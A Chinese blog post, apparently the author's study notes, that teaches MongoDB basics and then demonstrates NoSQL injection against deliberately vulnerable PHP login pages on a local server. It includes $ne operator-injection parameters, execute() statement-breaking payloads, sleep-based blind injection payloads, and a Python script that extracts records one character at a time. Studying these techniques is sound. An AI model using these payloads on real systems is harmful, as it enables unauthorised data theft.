前言
感觉最近的javascript前景大好,前后端通杀。nosql缓存机制的应用也越来越广泛,不说长远,至少是近期的一种趋势。 最近也就打算开始着手学习js,以及一些缓存应用,就先从mongodb开始。安装配置部分就省略了,网上教程实在太多。
常用操作
数据库
- 创建/使用数据库 use DB_NAME (使用时不存在直接创建,无需手动创建)
- 查看所有数据库 show dbs
- 查看当前数据库 db
- 删除数据库 db.dropDatabase() (需切换到对应数据库下)
集合(类似表)
- 创建集合 db.createCollection(name[,options]) (直接插入数据时也会自动生成对应集合,options用来指定一些大小、长度参数)
- 查看集合 show collections
删除集合 db.COLLECT_NAME.drop()
文档(以键值对组成的数据,语法为js的对象) 插入文档 db.COLLECTION_NAME.insert(document)
> db.test.insert({“username”:”kingkk”,”password”:”password”})
WriteResult({ “nInserted” : 1 })
查询文档 db.find() (不加参数显示所有数据)
> db.test.find({“username”:”root”})
{ “_id” : ObjectId(“5ac5cab38651bb24144aecad”), “username” : “root”, “password” : “123456” }
返回指定字段(假如第二个键值对集合,指定字段1/0,_id字段默认显示)
> db.test.find({},{‘_id’:0,’username’:1})
{ “username” : “root” }
{ “username” : “aaa” }
{ “username” : “bbb” }
{ “username” : “ccc” }
以及findOne() 更新文档 db.COLLECTION_NAME.update({
- multi multi=true时更新多条符合条件的数据,默认只更新一条
- upsert upsert=true 不存在符合条件按时插入,默认不插入
> db.test.update({“name”:”test”},{$set:{“password”:”kingkk”}},{multi:true})
WriteResult({ “nMatched” : 5, “nUpserted” : 0, “nModified” : 5 })
一些3.2之后的函数
- updateOne()
- updateMany()
save与update类似,_id相同时会更新,否则插入一条 删除文档 db.collection.remove(
- db.collection.deleteOne()
db.collection.delectMany()
查询文档 db.collection.find(queryn)
find().pretty()格式化输出数据
- Find().limit(num)返回指定条数
- find().limit(num).skip(num) 类似于offset
- find().sort({KEY:1}) 以指定关键字排序输出
一些比较运算符
等于
{
db.col.find({“by”:”value1”})
where by = ‘value1’
小于
{
db.col.find({“likes”:{$lt:50}})
where likes < 50
小于或等于
{
db.col.find({“likes”:{$lte:50}})
where likes <= 50
大于
{
db.col.find({“likes”:{$gt:50}})
where likes > 50
大于或等于
{
db.col.find({“likes”:{$gte:50}})
where likes >= 50
不等于
{
db.col.find({“likes”:{$ne:50}})
where likes != 50
一些连接运算符
- and:{
: , : } - or : {$or:[{
: , : }]}
类型判断 {$type: num} 不同数字对应不同的数据类型
> db.test.find({“args”:{$type:2}}) type2对应的是string
{ “_id” : ObjectId(“5ac86f87d9386757e892207f”), “func” : “my_func”, “args” : [ “aaa”, “bbb”, “ccc” ] }
Mongodb注入
php
页面代码如下,模拟了一个简单的用户登录功能
<?php
$mongo = new mongoclient();
$db = $mongo->test; //选择数据库
$coll = $db->user; //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
$con = array("username"=>$username,"password"=>$password);
$data = $coll->find($con);
foreach ($data as $d) {
echo "username is :".$d['username']."
";
}
输入正确的用户名密码,即可完成登录。输入错误时,无回显 此时当我们传入如下参数时
username[$ne]=kingkk&password[$ne]=1
就会输出全部的用户名和密码 输出一下此时的变量
可以看到,username和password都被转化成了两个数组,而传入mongodb的数组,也变成了一个嵌套数组
$con = array[ ‘username’ => array [ ‘$ne’ => ‘kingkk’ ] , ‘password’ => array[ ‘$ne’ => ‘1’ ] ]
等价于再mongodb运行如下语句
> db.user.find({‘username’:{‘$ne’:’kingkk’},’password’:{‘$ne’:’1’}})
这里用到了比较运算符$ne 不等于 语义为,寻找用户名不等于kingkk且密码不等于1的用户,自然而然的筛选出了全部用户
当php不是用pdo的类查询模式,而是通过运行mongodb语句进行查询时 模拟环境代码如下
<?php
$mongo = new mongoclient();
$db = $mongo->test; //选择数据库
$username = $_GET['username'];
$password = $_GET['password'];
$query = "var data = db.user.findOne({username:'$username',password:'$password'});return data;";
echo $query."<br>";
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'username:'.$data['retval']['username']."";
echo 'password:'.$data['retval']['password']."";
}else{
echo 'cant find';
}
}else{
echo $data['errmsg'];
}
正常运行时 根据execute可以执行多条语句的特性,尝试闭合语句,输入如下payload (貌似//注释符高版本不能用了) (后来确认了下,当语句return时,后面的代码就不执行了,但依旧要保证语法的正确性)
?username=test’,password:’kingkk’});return{username:1,password:2};({aaa:’9
&password=1
执行语句如下
var data = db.user.findOne({username:’test’,password:’kingkk’});return{username:1,password:2};({aaa:’9’,password:’1’});return data;
执行结果 再利用tojson函数,即可获得想要的数据
tojson(db.test.find()[0])
当无回显时,可用新增一条盲注语句的方式
?username=test’,password:’kingkk’});if(db.version()>”3”){sleep(2000)};return{username:1,password:2};({aaa:’9
&password=1
成功产生延时 然后开始获取数据 获取集合个数
db.getCollectionNames().length==2
获取集合名字长度
db.getCollectionNames()[2].length==4
获取集合名字
db.getCollectionNames()[2][0]>’a’
由于find之后的结果是个集合,不是个字符串无法进行比较。所以要用tojson的方式,转换成字符串,从而获取每个字段的值
tojson(db.user.find()[0])[0]==’{‘
附上一个自己的盲注入脚本(延时可根据自己的网络延时进行判定,因为我是本地服务器,节省时间就减小了延迟)
#encoding=utf8
import requests, re, threading,time,string
char_range = [i for i in string.printable+chr(0)+chr(13)+chr(10)+chr(32)]
url = "http://localhost/code/12.php"
res = []
lock = threading.Lock()
for char_len in range(96):
for char in char_range:
my_str = "tojson(db.user.find()[0])[{}]=='{}'".format(char_len,char)
sql_str = "test',password:'kingkk'});if(%s){sleep(300)};return{username:1,password:2};({aaa:'9" % my_str
params = dict(username = sql_str,password=1)
start_time = time.time()
r = requests.get(url=url,params=params)
end_time = time.time()
if end_time-start_time>0.3:
res.append(char)
for i in res:
print(i,end="")
print("\n")
break
效果图
总结
pdo模式下,能够执行的语句极少,只能进行一些回显判断 执行语句的模式下,后来发现其实并不需要完整的闭合语句,只要设置语法没有问题即可 如下payload也能产生延时
?username=test’});if(tojson(db.user.find())){sleep(1000)};return;({aaa:’9
&password=1
执行的语句如下(手工进行了换行)
var data = db.user.findOne({username:’test’});
if(tojson(db.user.find())){sleep(1000)};
return; 之后的语句不执行,但要保证语法正确性
({a:’9’,password:’1’});
return data;
只要顺利的闭合前后的 ({‘ 与 ‘}) 保证语法没有错误,即可 当然,要回显数据注入时,就要事先知道他的字段名